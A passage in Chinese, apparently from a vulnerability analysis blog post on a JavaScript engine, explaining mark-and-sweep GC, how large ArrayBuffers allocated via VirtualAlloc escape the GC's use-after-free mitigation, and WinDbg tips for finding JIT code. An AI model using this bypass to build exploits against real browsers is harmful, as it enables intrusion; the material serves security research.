图中(3)部分中,被标记的对象所能够引用的对象也被打上标记。重复这一步骤的话,就可以将从根开始可能被间接引用到的对象全部打上标记。到此为止的操作,称为标记阶段(Mark phase)。
标记阶段完成时,被标记的对象就被视为“存活”对象。
图中(4)部分中,将全部对象按顺序扫描一遍,将没有被标记的对象进行回收。这一操作被称为清除阶段(Sweep phase)。
在扫描的同时,还需要将存活对象的标记清除掉,以便为下一次GC操作做好准备。标记清除算法的处理时间,是和存活对象数与对象总数的总和相关的。

GC和VirtualAlloc在安全性上的区别

VirtualAlloc是裸的内存分配释放,并没有对UAF加以缓解。
而通过控制ArrayBuffer的length(>0x10000),我们可以选择通过VirtualAlloc来分配内存,于是就“绕开”了GC的保护,就有可能通过UAF来完成利用。

总结

通过分析Root Cause,并进一步通过对Assumption的思考,对patch的分析,相关知识由点及面的学习,并最后在脆弱性上进行考虑,找出可行的利用点,思考的深度有所提升。

Other

Windbg常用命令

  • dd memory
    打印内存
  • u
    打印汇编
  • k
    查看堆栈

    一些trick

  1. 寻找JIT代码,定位CallLoopBody,它的参数就是JIT代码地址。
  2. 寻找生成JIT代码的地方可以考虑在Func::Codegen那里下断。